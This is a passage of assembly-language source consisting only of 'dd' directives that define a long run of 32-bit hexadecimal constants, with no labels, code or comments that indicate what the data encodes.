		dd 1989F0FDh, 302D03F0h, 0B632D5E8h, 0EF265E77h, 0EFBA68A4h
		dd 15A17161h, 2B32273Eh, 654A3862h, 87262D4Ch, 1E102FF5h
		dd 4A903125h, 229D0184h, 0E018A8F5h, 90D329D6h,	5A0880C9h
		dd 9279EEE9h, 5ED07799h, 0B2E217B3h, 0EDD18715h, 0C1360B9h
		dd 82632502h, 0B4703C7Ah, 66D88183h, 0CB47B821h, 2F16D426h
		dd 6EF4D101h, 7E60690Bh, 56BB0326h, 0E7B00E0Fh,	4C3E63DEh
		dd 0B9F70362h, 3B374552h, 8015BC0Ch, 2C4EB356h,	0C5BAD8BFh
		dd 0E569C8C4h, 3784580Fh, 0DC31ABDEh, 28A7D627h, 0F2534CD6h
		dd 341E68CDh, 0BD2C0B51h, 8106EC24h, 0C2B0BDB8h, 6911F99Fh
		dd 294CE155h, 58D7CC25h, 0BFD663CAh, 5FF6863Ch,	12D5A3E9h
		dd 3CEE07F2h, 0C6492EB5h, 82E73CFAh, 474DD6B9h,	0EAB3FE52h
		dd 0B22E026Fh, 0C7DEADB8h, 4914FD2Fh, 91C00B4Ah, 0BCEE8F0Fh
		dd 12E52708h, 66A8849h,	0B42FD528h, 124D1E27h, 0FD015B68h
		dd 9FD90D3h, 0DFC5229Eh, 0D1065C83h, 75F8A09Eh,	2AF9A059h
		dd 0BFD847h, 0D772F696h, 53D8C112h, 3E702708h, 7B68A6C8h
		dd 34A1B34Fh, 0D96781E9h, 3959CD88h, 3FB641F0h,	0A6FB1512h
		dd 5BE9835Dh, 0BF2604F5h, 0BBB86661h, 74C78FB4h, 5D402D21h
		dd 425999DEh, 0DD108629h, 0CDFE045Eh, 8AB55066h, 58E1E5D1h
		dd 0CE64FC6Fh, 0CF8D0CE9h, 5392747h, 1E043D2Fh,	0C6C7BC08h
		dd 2F6570E4h, 0FB121012h, 4DC2D5FCh, 8366DF1Dh,	3F1BB920h
		dd 5F9CDFF7h, 6D5F2535h, 820F02F5h, 18F5CA40h, 951274C0h
		dd 68844A5Bh, 0CFFB026Eh, 53986018h, 30E96FB7h,	53ED0B2h
		dd 0FB245073h, 0A613D93Eh, 3C47E1E5h, 0F9548C30h, 0AC80DC5Ch
		dd 0BC4A92D1h, 0F27E2741h, 0B8A62B7h, 500070E0h, 6380BCB4h
		dd 11B316C4h, 545C382Fh, 2EA63F5h, 28E06204h, 5E822C23h
		dd 97C71C8h, 46D2EE88h,	0AD230B0h, 0B412C8EBh, 745CD32Dh
		dd 0EDC005C5h, 4EE1602h, 1F3B067Ah, 0EECBC59Dh,	0DF866814h
		dd 0F03262Ah, 4A30107Fh, 4380D1BAh, 4CF33B9Dh, 0F0C3969Fh
		dd 78BB5A66h, 889F14Bh,	562DC423h, 539202F5h, 8606EDFh
		dd 412F350Eh, 346F7213h, 0AE56F36Ah, 0FF83E00Bh, 212FEC9Ch
		dd 8C3D1C3h, 55254981h,	964ADBBEh, 0F7EB3AC5h, 40C62DB4h
		dd 4C5068B5h, 0BEC01740h, 0C2978D91h, 96F2312Fh, 13935BBBh
		dd 0D2234EE9h, 0EF871213h, 235F2105h, 483DB6EAh, 4D175A0Bh
		dd 650B18ECh, 73002840h, 0DC0C4BC1h, 0F1293D14h, 0D408418Fh
		dd 0DBBF9A83h, 0FD01046Fh, 0BBC8EB5Fh, 0AA024BC7h, 15786039h
		dd 0D4E3696h, 0CA410798h, 72AC92Eh, 0DE7EE1D2h,	60A03F71h
		dd 0C970B701h, 0A97F9B1Dh, 20DDF7CAh, 0CAC79216h, 0EB1234F0h
		dd 8B609D16h, 0BC5AA5A7h, 5A00E1B8h, 7BFBB850h,	0D002F8Ah
		dd 780C5498h, 727FF92Dh, 0C7290B8Eh, 50C217E9h,	180E707Eh
		dd 0E877BF92h, 3CF50193h, 6E9BC518h, 0F8C90C5Eh, 16C42035h
		dd 179E3441h, 7561A5C7h, 37217E45h, 0A72E1C52h,	0B35301FAh
		dd 5BDE3082h, 0D116AF2Ah, 17BAA4B0h, 0A8E76B96h, 2ECF0455h
		dd 0A2FA7A39h, 0E2067C79h, 3B511257h, 0A072084h, 35AF6813h
		dd 562F33h, 0CD456E72h,	0A214BE77h, 77EAED24h, 74BADF12h
		dd 9117FE89h, 0F88561EAh, 0BA2B0D4Ch, 5A70562Ch, 0F1B4A814h
		dd 0B07EAA2Ch, 0D559A72Dh, 3C4A041Bh, 0FC82302Dh, 4A020BACh
		dd 87DAF92Eh, 0A0840709h, 408F06E0h, 0A3B23B16h, 0C6E294A5h
		dd 5B64F2D1h, 0B25AB850h, 70ED0287h, 0A16B6A2Dh, 206459BEh
		dd 186D7920h, 0C296701h, 93CF2FAh, 3D3AC92Bh, 6B0BF2EBh
		dd 8274D54Dh, 5FA46A7Dh, 0B0B6FD1h, 95FDCEB6h, 845D1412h
		dd 9A8A57BDh, 8605B95Fh, 3F458502h, 569643C1h, 3FCB1E13h
		dd 0B45B0850h, 0DE386FD7h, 0FE4ECDF9h, 0DD2CA1CEh, 5B991097h
		dd 685BEF01h, 336F0B8Eh, 0FFADCD53h, 64B3CF77h,	0D3E517C1h
		dd 5E1FBA5Ah, 2166BF07h, 0F696E29Bh, 608EC268h,	38E798DDh
		dd 5A9AC9EBh, 686144D4h, 4048577Ah, 0B2435BDCh,	0F5E396E8h
		dd 22BAB34Ah, 0C13D3431h, 1AE8AB5Eh, 3C7B6094h,	2D80DB15h
		dd 5AF911C9h, 3EED0F7h,	361DFC02h, 0E8AB56E9h, 0A821B220h
		dd 0BF47E7BFh, 0FF378911h, 6DB35C5Eh, 886B0400h, 69F381EDh
		dd 7081313h, 680020ABh,	46977C7Dh, 84BF4F93h, 3681FB41h
		dd 776CE767h, 0CFC7FBD8h, 1E3FB980h, 897DA138h,	0C748C469h
		dd 0F3BD17CDh, 125EC997h
		dd 234BF528h, 7EB6F3ACh, 0D2250198h, 0BFBC72F3h, 2D6B9A78h
		dd 9AA3F725h, 0A3137C2Bh, 46ED53D8h, 9DBAE899h,	3ACCFBCFh
		dd 0C3414ED0h, 69242B9Ah, 6FE16097h, 28EFB41Fh,	150104ACh
		dd 0A491310Dh, 0E26F5BDDh, 9868C462h, 4817F2AAh, 191B00F1h
		dd 0E9BA5837h, 0A7C825E6h, 7028AA5Eh, 472806F6h, 0D013C55Ah
		dd 3EF09415h, 8DA82D55h, 1EE822DDh, 6130F741h, 6EB8C02Eh
		dd 8C4187B0h, 0FD705E7Bh, 0E29EBC16h, 84680B29h, 0A9B4D57Eh
		dd 5759899Dh, 0A2E96379h, 7F23A1DBh, 2E613E0h, 118A0F0Bh
		dd 0EFED5D37h, 0D5055A0Bh, 0BDE99122h, 8B8C847Fh, 0C114B2FBh
		dd 0FC36E957h, 11DD53A5h, 57DE0647h, 57692FF9h,	5A4F9A58h
		dd 0F04AA949h, 32429584h, 0CDE12955h, 0C49AAD98h, 70FEFE5Fh
		dd 9C96F7E9h, 9EDE010Ch, 524E0B56h, 96D75B30h, 952F2747h
		dd 40828371h, 0FD45EE59h, 0C06E3EF9h, 6574C7CFh, 9DE91728h
		dd 10FAF9BBh, 0B05AD0A2h, 619DDB5Eh, 0C5288B78h, 6857C702h
		dd 860911A4h, 3F3BC658h, 0F6DE9385h, 925ECB6Dh,	19BC05F7h
		dd 5300C8ECh, 0E3711F68h, 4B045B4Ah, 24A88E0Fh,	0F83241AAh
		dd 8248832Ch, 0B02F994Ah, 9BDBD53Fh, 7351402Fh,	21C22F16h
		dd 7B0CCCE1h, 49BDD4D0h, 53080028h, 0FD3DC4B8h,	315AE9B1h
		dd 0D87AE6F1h, 975F39F4h, 53C063BFh, 2B20FEE1h,	0B0AD85D3h
		dd 60D10F9Dh, 6C915EE6h, 539E3A16h, 625DE500h, 98D10678h
		dd 923E478h, 31B68F85h,	832AA07Fh, 2AFD54F6h, 0F88320E9h
		dd 0B30D9D58h, 0CB0B7E06h, 2737C625h, 3E1836CEh, 0A2275A30h
		dd 26EC7062h, 11C3F37h,	262003E9h, 8AE64275h, 16AA46F7h
		dd 0B111FBDAh, 8B565051h, 0F94831C8h, 483359DFh, 5F3C38EBh
		dd 305739FBh, 6004DBC4h, 0D7F76535h, 18E7AAE0h,	8E234B28h
		dd 0DCDBEECFh, 5FEAF176h, 7D3440D9h, 6169CB0h, 0E4C80F5Ch
		dd 3F322E5Ah, 0DEF485Dh, 552A1234h, 4A2C0405h, 62EB1788h
		dd 9DA184B6h, 2A5F4A34h, 0D25BEAE6h, 0AE565B68h, 0F687552Fh
		dd 0EC09A54Ch, 908A469Fh, 763A04A2h, 71AC5F6Bh,	0ADEE914Ah
		dd 0B37293E4h, 877F2E04h, 5A2543B3h, 3508D75Bh,	879B3AB7h
		dd 82D338BDh, 72F60A4Eh, 0A5CD8100h, 0F39B123h,	0F825E7F4h
		dd 19C75DFEh, 7DF08A89h, 5AE90FE8h, 0BA9C0195h,	0E0FA6A17h
		dd 914EAC9h, 0F54B344h,	0FAC6CF85h, 6BEC163Ch, 16DE6EDCh
		dd 1216288h, 86495BBBh,	0A085201Bh, 4DC14F01h, 0D6E9514Bh
		dd 7B843528h, 0EB8003DAh, 0B41E9D6Fh, 28D44D5h,	767463BFh
		dd 8E0C4072h, 0B0D64A38h, 9D5A29D0h, 34E7D7ECh,	0F9EDEB47h
		dd 0E2541D04h, 0B066E81Fh, 4C56377h, 0E9C72110h, 54D9D325h
		dd 89B0F3B1h, 903A68A3h, 0B99CFD56h, 0C3504708h, 0F504914Dh
		dd 6DD418B8h, 92C1B9BEh, 3A9DBF07h, 0A117B435h,	0E91E81AAh
		dd 0BE9857D5h, 71D052C0h, 0AE072DE8h, 5594F04h,	46C82460h
		dd 82F2E701h, 8DB95107h, 0A6CF1A12h, 4A7DB071h,	0C721AAD9h
		dd 0B874F0E3h, 0F7F13ABh, 0EEE73827h, 0D1324E17h, 0A3C62A00h
		dd 171AC1B2h, 0FDF78957h, 0E1D21240h, 39065964h, 2663BFBCh
		dd 673A42B5h, 800E8051h, 0E91A18EDh, 42264C6Ah,	3F4A7B63h
		dd 81867624h, 6C3A65BEh, 92929F5Ch, 0E9176407h,	0D565099Bh
		dd 0D42DEACDh, 0D38B8919h, 0B14E46F1h, 41BBE210h, 94DD018Eh
		dd 0F52CA781h, 78FB251Eh, 224F279Eh, 7C7D8A75h,	0C85F78ABh
		dd 4BDFF780h, 0E917F157h, 96F2C747h, 7C18097Fh,	0ACF1532Fh
		dd 0D398A4EFh, 50023703h, 1214B15Fh, 0F78DE928h, 9DB9F2C6h
		dd 4AF1BE9Ch, 29C0CDA9h, 9E685BDAh, 0D0A4115Ch,	20D73BE9h
		dd 0B1FF64FDh, 51F8EABBh, 1093769h, 1A60D8D5h, 9EBC93E9h
		dd 4E1A5E60h, 76BF6FE0h, 996E09E4h, 0F762B4D6h,	6CF477D8h
		dd 44AC038Fh, 0AAC0C201h, 0F62D23BFh, 0C5709539h, 1EBD4F4Eh
		dd 845F2Ch, 2BCC0210h, 2049C1E9h, 0A3B413AFh, 778B83AAh
		dd 286CEC98h, 0E958E602h, 55FEF74Fh, 0CC685FF9h, 870C69E3h
		dd 0A34D309h, 68C9C32Fh, 0FAC212F6h, 4AA1EC2Ch,	7963F3F5h
		dd 65202727h, 4FA920ABh, 0F66AC20Ch, 0A8203A44h, 557EB5BAh
		dd 0FFE709E2h, 820FE046h, 0A446C242h, 0A9915636h, 312A73A4h
		dd 80D80DFEh, 8C2FC5F5h, 7E29F5F9h, 685D3B6Fh, 0BA17342Ah
		dd 7A9825A5h, 0E98975D9h, 8870A377h, 4BD9BAF0h,	0C79BE18Bh
		dd 1B1A5EA7h, 34C17E62h, 0D68700DBh, 56D226F7h,	3BC110F6h
		dd 0DD4B7C55h, 161CDB90h, 0A44260E2h, 41BC9217h, 8995C19Dh
		dd 2DE08B7Eh, 9A7D853h,	692D0192h, 12F77205h, 0ABA46407h
		dd 0B92E6F9h, 65FDD377h, 0BAEE93E6h, 0BD0CF7F0h, 0E9E28053h
		dd 0F4B64A75h, 31450324h, 0DAE1143Ch, 0A5CA2ED9h, 62C0AA25h
		dd 7C27685Ch, 3BBC196Fh, 51004A38h, 0E180D5B1h,	0D93AF621h
		dd 308BCC0h, 0CE28A5E9h, 7E35F759h, 920E30B8h, 0EFDADE30h
		dd 21765989h, 0B5967D27h, 0D20A4F91h, 0F642C12Dh, 0E8800F75h
		dd 6858C130h, 0E132C431h, 0B32A2E9Fh, 9C2D06E3h, 0B0A932Ch
		dd 42BC0AFBh, 0BB536080h, 5624391Ch, 0E5049740h, 0A8804630h
		dd 2D4B65CBh, 647471BAh, 0B178E904h, 0F02CB6C8h, 8BB95033h
		dd 23B00305h, 0D82936DAh, 5A085242h, 0AC6A80F1h, 0F016797Fh
		dd 6901535Eh, 411D4CB1h, 78C1E43Ah, 0AC419141h,	0F23D6AB0h
		dd 0BB20AFD3h, 5B26214Fh, 21EFD78h, 167118C5h, 3148401Ah
		dd 1D113061h, 0D363528Ah, 8800754Eh, 0ED81E5D1h, 344C3AC6h
		dd 32EE4A7Bh, 1C485D05h, 0B89EFAE9h, 43AA4430h,	0E02EFB12h
		dd 0F460878Dh, 0E9DBF7F6h, 8C4A4B3Fh, 0E741723Fh, 0E9E00769h
		dd 0E7BFBA5Eh, 8A3C8D2Ch, 0EFF82AFDh, 0D0E7C09Dh, 685E0928h
		dd 5C0FFA2Fh, 0FEE0C131h, 0EF03EE5h, 0B3795E1Bh, 0DC856BFEh
		dd 13680491h, 6E081376h, 40FE2F40h, 0DD1C6758h,	37A78289h
		dd 0D6AF1F83h, 31ACE320h, 0D0B554F1h, 22E92D00h, 0F304918Bh
		dd 0E8D5C441h, 88F297CEh, 7D7F2719h, 0F9842EA9h, 0AD63FCEFh
		dd 0A17AF82Eh, 4B00D820h, 1A4A8C0Fh, 0B6BFB712h, 0A21618E6h
		dd 4F2DE926h, 0DFCDA295h, 0FB499256h, 0D1FC050Fh, 29FC31ABh
		dd 0E5A80581h, 0B705E125h, 0CED8FE4Ah, 1B1704F2h, 81093E7Fh
		dd 6A7D4396h, 0DC8E88A8h, 0DE680B10h, 8D1EF50Eh, 0D5CD5D4Fh
		dd 1216B66Eh, 49205A04h, 7BBA2734h, 1E6B3409h, 0F20DEB3Fh
		dd 0EE2B2051h, 13AE5C13h, 4009FB11h, 5A50FE0Ch,	4B97A830h
		dd 0B746A983h, 0CFB8E681h, 6E0AF727h, 3056001Fh, 5347EFC1h
		dd 48C5DBDFh, 68836428h, 0AF840622h, 0FBA472A9h, 0AF3E259Dh
		dd 0BD364F23h, 52BDE220h, 276397ABh, 30E37CC9h,	475AAAD0h
		dd 0DA5F8D49h, 6576B7E5h, 0E70AA32Ch, 76AD4126h, 9C51255Ch
		dd 0E9985DC9h, 51B5DD04h, 2E60AC7Eh, 35608801h,	0A4CF8100h
		dd 90217C2Ch, 0F9B50C55h, 0E98D3677h, 11006D4Fh, 224A6705h
		dd 0F829145Eh, 5F12072Dh, 0CB04EB50h, 3AFCFEE2h, 35082D9Fh
		dd 410B1CDDh, 0F0E96431h, 882689CEh, 70A7FD7h, 7F5909ADh
		dd 0A53C6757h, 1AB1C1ABh, 0C05F7433h, 10E2E45Ch, 5D003AA7h
		dd 3CBAC981h, 809D4AC6h, 44B21BE1h, 0E0E915E8h,	805FB5ADh
		dd 0B61EB09h, 0BB89E498h, 0F90844C3h, 0EB2085A9h, 99EE9E8h
		dd 6B2F8F3h, 2F014057h,	2A3F7F82h, 0F6AE5BCBh, 2771176Dh
		dd 0CA27F149h, 3E1C088Ch, 69376403h, 27B5F8E9h,	9EDA5850h
		dd 43B67D24h, 105032BDh, 0CCD60BCFh, 0D91C5EC2h, 5BDAC2DAh
		dd 4FB0CC7Fh, 0BB32C438h
		dd 5A047ACh, 5716141Eh,	0D8AC3132h, 0C813FF4Bh,	5B7D2AB7h
		dd 0BE52A0FEh, 0C47F0DAAh, 3056B742h, 5C510579h, 0F5361BF8h
		dd 0EB223000h, 7EAC146h, 10BA4A4Eh, 0E725EDECh,	0D9FF14C2h
		dd 0B11C69F9h, 0E91F3095h, 0E58197B4h, 3AF08A0Fh, 0F6ABD884h
		dd 0E4B70010h, 0BA52F88Bh, 563300EFh, 0DACA817Ch, 2C4E5A34h
		dd 90A8C0BBh, 7026513Bh, 4A159583h, 508C01F2h, 2E4EE913h
		dd 0C428242Ah, 0F6DCEA8Fh, 1269B8C7h, 0FA4C0173h, 0C05B3C9h
		dd 0A37B1A81h, 0B042BE5Dh, 29E77240h, 839F574Eh, 0CA803DB2h
		dd 63B450E0h, 5798990h,	6DCCC32h, 28FB61ACh, 0E80CC2E4h
		dd 0EBEAFCE2h, 0C03ED14Bh, 68660802h, 8C747E12h, 91B05040h
		dd 0E5232FE9h, 8049F3FCh, 2E74C410h, 3850B742h,	0F7098AB0h
		dd 0F51D4A3Dh, 8107FD8Ch, 0DBFCEE1Fh, 0FC01288Bh, 7C31E24Eh
		dd 87B70FF2h, 5539771Fh, 0E530D2D2h, 0F9B876E6h, 40A2382Dh
		dd 0C4475AFBh, 0D5CFAF00h, 0B9255D60h, 0D5EB420h, 92CAD2Ch
		dd 311DFA54h, 0C1018302h, 18881EDDh, 7074CDE9h,	6800505Bh
		dd 349618FDh, 78672558h, 0E2325C2Ah, 3D84AC3Bh,	0EBECE945h
		dd 822DB800h, 2DC7C583h, 70E65B50h, 7EE9430Bh, 0ED06829h
		dd 414B1361h, 3C550921h, 0E14842F2h, 5040044Ah,	0C3FB5592h
		dd 65821638h, 6ACE1541h, 6EF86D39h, 1E769AD2h, 4B028BDAh
		dd 2B5C35E4h, 0B26FEE51h, 8AAFD799h, 0C8A84F08h, 10DC5089h
		dd 0E0B05F5Ah, 4EA5A740h, 0A076C6A7h, 0E856DC37h, 0A1759D5Dh
		dd 46D6E525h, 72BD11h, 987EBBEFh, 0B8F34085h, 0AB24E309h
		dd 3908035Eh, 27ABDDD0h, 0F81F9709h, 25FDD825h,	9F465F93h
		dd 9DE41C40h, 56523D82h, 13F6F284h, 0D1D361A5h,	806485F8h
		dd 467B13AFh, 0D33DED0Ah, 688202FFh, 82E614A4h,	7910DA90h
		dd 0EE38FF4Dh, 261C1826h, 91D70088h, 0DE29E062h, 5EFA61BDh
		dd 0EC66A43Fh, 256A6309h, 5CD9DD58h, 0F29FE906h, 0F48012AAh
		dd 0FEC0E69h, 0FCE88325h, 46EF5A7Bh, 2AD2E518h,	5BB3B617h
		dd 0D03EDCB1h, 8E49C3EFh, 44D89525h, 0AFCF09A6h, 0CAF09EB6h
		dd 647FDE95h, 635CE94Ch, 5A621B8Ch, 4CEFA9E0h, 0BDCB10FCh
		dd 7D26A44Bh, 32B017F2h, 9245B61Bh, 7A2FB0C8h, 3737C42h
		dd 0F34378CEh, 5F86E97Ch, 888212BCh, 55A2E25Eh,	0E94FB260h
		dd 66CDD869h, 0EE8002A0h, 5AF5082Ch, 57A7D545h,	3A5D5431h
		dd 0B33F30BEh, 6674E9B5h, 0C80E8E92h, 8574502Dh, 62995908h
		dd 4464213Fh, 26B9005Ch, 0F2545873h, 0A0BB410h,	97794B68h
		dd 0CBADFB97h, 6717EA02h, 1CC17BA8h, 2944342h, 40A304Ch
		dd 73701D86h, 0B94015ECh, 44213C4h, 4539BCB8h, 42FB2AB9h
		dd 3C820F06h, 0F725D25Ch, 72B0C445h, 5FAC9321h,	0D51DABA2h
		dd 0C34BE0FEh, 7E8FE131h, 0C5D95BADh, 3BB1BEB3h, 7B5F2820h
		dd 0C17D4F68h, 51515EF6h, 0A6DA9F7Eh, 888B3678h, 7ECF96FAh
		dd 0F3FB4AE9h, 0DFD617EEh, 50E8F44Bh, 0C0E5376Eh, 80D30012h
		dd 0D49F73C3h, 0C87D72A4h, 8093AC51h, 180036BDh, 0EDC14E14h
		dd 0A0DDF707h, 3019A7A3h, 34CE0481h, 21715FF5h,	9859CD26h
		dd 0A12CE202h, 0D1C08730h, 0AC00917Ah, 29A462DDh, 8F00B7D5h
		dd 36482E80h, 9488DAF3h, 52822808h, 0A4069FC4h,	320D8F55h
		dd 1131EA0Fh, 26E3851Ah, 0C1200A81h, 2A8205F1h,	15A58B71h
		dd 0A0A4D2F5h, 1F18C280h, 1A11036Bh, 80B8AF2h, 30BF2751h
		dd 64B11CCAh, 0E22A5F1Ah, 0FFA4D337h, 0FB05BE0h, 8C3235B6h
		dd 16004701h, 0C681FD9Fh, 2526610h, 57DE0137h, 0F9DDEDE9h
		dd 0AF680520h, 80CBEA61h, 812DAB96h, 0D7A2912Eh, 55F83E57h
		dd 76D303B4h, 0F7AACF23h, 86034474h, 1AE30DCh, 7B3D7A28h
		dd 31CD2911h, 74080400h, 0DECFFE7Dh, 0FF689251h, 0B554B707h
		dd 5BFD0046h, 50BE5C0h,	1A6CCB68h, 24F8773Ch, 0F5805902h
		dd 41E82888h, 0B2C85317h, 5FB705ADh, 0D049D5E9h, 40247E38h
		dd 430254Ch, 4A7D706Dh,	8BEFD4D2h, 6BB3DC08h, 0F102EE5Bh
		dd 5563ADE9h, 5CE1D8D3h, 0D170CD80h, 0C07F4EE5h, 0FEC991F1h
		dd 0F802CEBFh, 45424A03h, 3571F804h, 0A47B00E0h, 0E933FE3Dh
		dd 4ABEE998h, 0F3123E9Ch, 9C7EBB1Dh, 0D727069Ch, 0D5440AB8h
		dd 0BC1DFE42h, 2F40AA4Fh, 7242C38Ah, 1027457h, 365FB850h
		dd 5335EC4Ah, 7A9B3932h, 951FF0BCh, 0F3B5544Eh,	30D7E9B7h
		dd 25E9E1A9h, 16570B46h, 6F2C28B5h, 0E9D0F9DFh,	8E089F26h
		dd 0AE59129Ch, 0AB40FC29h, 13F87D5Fh, 1FA012Bh,	0B823587Ah
		dd 0CCE7F83Ah, 6496200Ah, 1603F547h, 170B685Dh,	0E8B0E92Ah
		dd 0D85B7783h, 4DC06C44h, 32F7981Eh, 3030080Dh,	25F80C54h
		dd 0E66B4A2Eh, 5ECA1C1Ah, 0D2B6DF2Fh, 0E178F9B7h, 540F8568h
		dd 0EEB2EF1Fh, 0A6ED9486h, 1FF639A2h, 34E75F25h, 7F3E904h
		dd 9FF10091h, 493E84E1h, 6377EF1Bh, 55F7DAFCh, 4DF4140Bh
		dd 12477E72h, 99FCB352h, 0E32A021Eh, 0F5D2CBDDh, 0AE7D02A1h
		dd 7F67BFEh, 0A7D8E71Eh, 113DB25Dh, 0BE50A510h,	0AA875EF0h
		dd 8C15DE3Bh, 0C3BB57F7h, 0E3D15816h, 0BFE721FBh, 6B2EC15Ah
		dd 194075C0h, 52270BE2h, 4B502DE9h, 7AA95C9Dh, 92526D7Ch
		dd 0A6F9F75Dh, 4684703h, 7AF170Bh, 19F4E3A7h, 0F2411AA9h
		dd 0FEFAFA70h, 5BF9F832h, 58FDC8D7h, 0C3054803h, 0F9152E18h
		dd 7FC20EA0h, 818989F3h, 0AB2F01E1h, 0A06ED176h, 0E4FC53CDh
		dd 12565B3Ch, 31FAF1B7h, 4F6E595h, 0AFBB680h, 0A06A5ADAh
		dd 4E9902C9h, 42759F82h, 0AB4AD518h, 9CDD080Bh,	518188A6h
		dd 51885DE9h, 5D84BF00h, 0FA211593h, 225F37CCh,	1F80959Eh
		dd 0D130CFB2h, 32425A48h, 0F5359AB6h, 0B050AE18h, 5D060F64h
		dd 21F5B5FBh, 0C6C89661h, 505ED2E0h, 0B1FCB56h,	3125E333h
		dd 51646BDEh, 0D51A06B2h, 7E579CB2h, 7F6AC2D0h,	131AD0B0h
		dd 0CA0B89D6h, 0B991773Bh, 4B706885h, 3D3AABA0h, 0ECED47CCh
		dd 0C657EE24h, 0C78925A7h, 0ACF811B2h, 9437E025h, 0D9719589h
		dd 0A1BB6A0Ah, 0CA1BCE82h, 7189F773h, 0C3E9AF60h, 0BA20FB60h
		dd 722937BFh, 0A6F1FB73h, 0AA4A0778h, 0FEA80561h, 744830A5h
		dd 0CBBAD7D6h, 569754F8h, 0AFF313AEh, 2C6840CCh, 619B7B77h
		dd 7EDC8850h, 0CE9C80Eh, 7666CA9h, 2CCA045Ah, 87D0058Ch
		dd 0B56498B6h, 0F834E1C2h, 347F971Dh, 22E9243Bh, 927AAD7Fh
		dd 0FEF99213h, 5E6072BFh, 664A0658h, 3CF0878Dh,	0B818C0D3h
		dd 25D70BAEh, 8C2F927Bh, 84A4233Eh, 8BBA8435h, 82792D73h
		dd 4AE4E908h, 57FD072Ah, 98E2668h, 4A7028E3h, 99B47B5h
		dd 0DAF97829h, 1284D288h, 1D25AE5Dh, 6149B5FEh,	53B13A83h
		dd 7DC81660h, 29CF1226h, 8659A9F1h, 9D478A5Ah, 575AB156h
		dd 0CA010DE4h, 0E912581Ah, 7369CC1Eh, 5B235D10h, 8CA331FEh
		dd 0B0169F9Bh, 35DE88C0h, 759A1B3Bh, 55030F04h,	14413842h
		dd 2FC94DBEh, 8E04DDB9h, 0EA51DD5Eh, 841D9A8h, 4DD60C81h
		dd 815B6F72h, 5245DC8Eh, 9AE1E90Dh, 0EC659D7Fh,	0F5A8C093h
		dd 313D12E8h, 10F612C8h, 419191A4h, 0AB6FECFBh,	0E7C0CEC0h
		dd 0FED7F606h, 201A4AF8h, 8AF78160h, 0F19CE3B7h, 3A866780h
		dd 9A5BDE31h, 182D05FAh, 0E700574Eh, 64307336h,	62D5828h
		dd 0F4805E4Bh, 2501480Dh, 44DF0C61h, 0B1BAC1B3h, 8147AC23h
		dd 0ED7BF60Fh, 896F2954h, 780A07F3h, 0A2B41820h, 0DCDB351Ah
		dd 4B7C91CEh, 0E30284ACh, 444328F6h, 0D7380400h, 0D929205Eh
		dd 85E5E94Ah, 2E76292Fh
		dd 7BAF29EEh, 0B73459CBh, 0B40DEC0Dh, 852EA6FBh, 44EA22C5h
		dd 0AF9D7D85h, 23824A24h, 2447D01h, 0F9B2F506h,	3A7AAF17h
		dd 658A61AAh, 20C2EE01h, 0BC56B708h, 172F7E51h,	0FBAB8455h
		dd 4B4B869Eh, 8958C134h, 9D47B97h, 0D9AAA59h, 10CB20F1h
		dd 0B61675DEh, 0F8059762h, 0F589846Eh, 5EB6A283h, 755D0595h
		dd 2D6BC52h, 8E6C56C3h,	1A22606Ah, 1D613154h, 0DD70A30Ch
		dd 3248257h, 2B5F53h, 721202A1h, 0C154EC98h, 0C678FEA7h
		dd 10C92A35h, 6529CDFFh, 8BAA669Bh, 89A7FE66h, 0D66A9E2h
		dd 53AD6812h, 1F10CFAFh, 542D3F68h, 7CC15A62h, 6B037E58h
		dd 80DEEF80h, 1F665BFAh, 0CB3EB450h, 0C777DD67h, 0EED1251Bh
		dd 0AFD1D002h, 1E0F7D16h, 5E3BEC75h, 0ACB3EE1Ah, 7FECEA77h
		dd 73965D8Bh, 9309A098h, 0F027C62Eh, 0E732110Dh, 9F0D0046h
		dd 0E93D1724h, 95906056h, 4594B8EBh, 0E8B21150h, 8949AEB1h
		dd 9559F825h, 0FA5341D4h, 0F7F7A2F3h, 0F69060DEh, 0FA08A390h
		dd 400BDF7Bh, 0C40ABAD5h, 0C4154A16h, 6D9CAE28h, 1600959Ah
		dd 6A2BE94Ah, 75E09297h, 0C3D4A868h, 0BBA5280h,	70F2305Bh
		dd 0C909278h, 0CFA0FEC0h, 2EE98F0Dh, 5A1A2E38h,	6850C100h
		dd 0D026664Ah, 481A6A27h, 35F1DF0Dh, 6B246116h,	4D2AE7BBh
		dd 7ABB0960h, 1053027Fh, 6A837687h, 0AB221B0Fh,	3D38504Ah
		dd 78735845h, 8521F497h, 17BE1E16h, 93C16280h, 0FC9EC02h
		dd 6E212367h, 969839Eh,	24071F04h, 0E026BA5h, 0B7B43654h
		dd 685D09EEh, 14515394h, 4F1DCA97h, 0A67223ADh,	4301DC3h
		dd 602C9F7h, 0E94A0256h, 21C1AB26h, 0B32B1C6Fh,	7F51C92Fh
		dd 7769D471h, 965FA0E6h, 7DB8CAC4h, 0B0C5500h, 1599BE41h
		dd 74B75B72h, 0AD0670B1h, 0E213F695h, 520009BCh, 285DDC68h
		dd 7B056AEh, 0D51BCCEAh, 5FE26042h, 2F0B6E59h, 9213CAE9h
		dd 0DCAF7763h, 8910A9F2h, 1A467D10h, 35C901E2h,	0F3E4DD6Ch
		dd 88A599Dh, 661756FCh,	36312EEh, 301F177h, 8FE10A0Fh
		dd 5D1FD70Fh, 5359876Dh, 7F49BBD1h, 0D20C7EF3h,	17FCF282h
		dd 0A621164Fh, 0FB8145ADh, 0C0458F5h, 0CD876E2Fh, 4078F690h
		dd 0C86E480Eh, 68B0734Ch, 659D53A2h, 271E267Dh,	1ABD61D0h
		dd 0F3115766h, 6A457A5Dh, 9AAB7EF5h, 246E4CDFh,	68621927h
		dd 0F379DF61h, 0B04B969Eh, 750BDF33h, 6ACF0477h, 0FC44EB12h
		dd 4E1A4F9Eh, 25CCD45Dh, 8468E598h, 0DECF554Dh,	4CAA039Eh
		dd 0AD2032AEh, 0E17AF74Bh, 0D2CE6F23h, 0FC18987Dh, 395B48D8h
		dd 2D4931E1h, 0D70554A9h, 0B91C55Dh, 7DEA68D8h,	0FBF5A99Ah
		dd 53D5692Fh, 10BD42C6h, 0D5E024AEh, 0E9758C22h, 0D807726h
		dd 4E0125AEh, 3149CE87h, 3CF193CFh, 0A0858108h,	0FA28ED76h
		dd 0C0BB9234h, 1A3DD6C4h, 3A051200h, 0F1D3909h,	9B69498Fh
		dd 60430D00h, 0A2E92DE1h, 0F98ADDC6h, 4F567B8Bh, 0BED41270h
		dd 98032AB0h, 9D762DD0h, 0F6588A76h, 0F38881B1h, 1674EE95h
		dd 0FCA194FCh, 3C10639Bh, 0E1418B55h, 0D9EC3BFEh, 672DAB51h
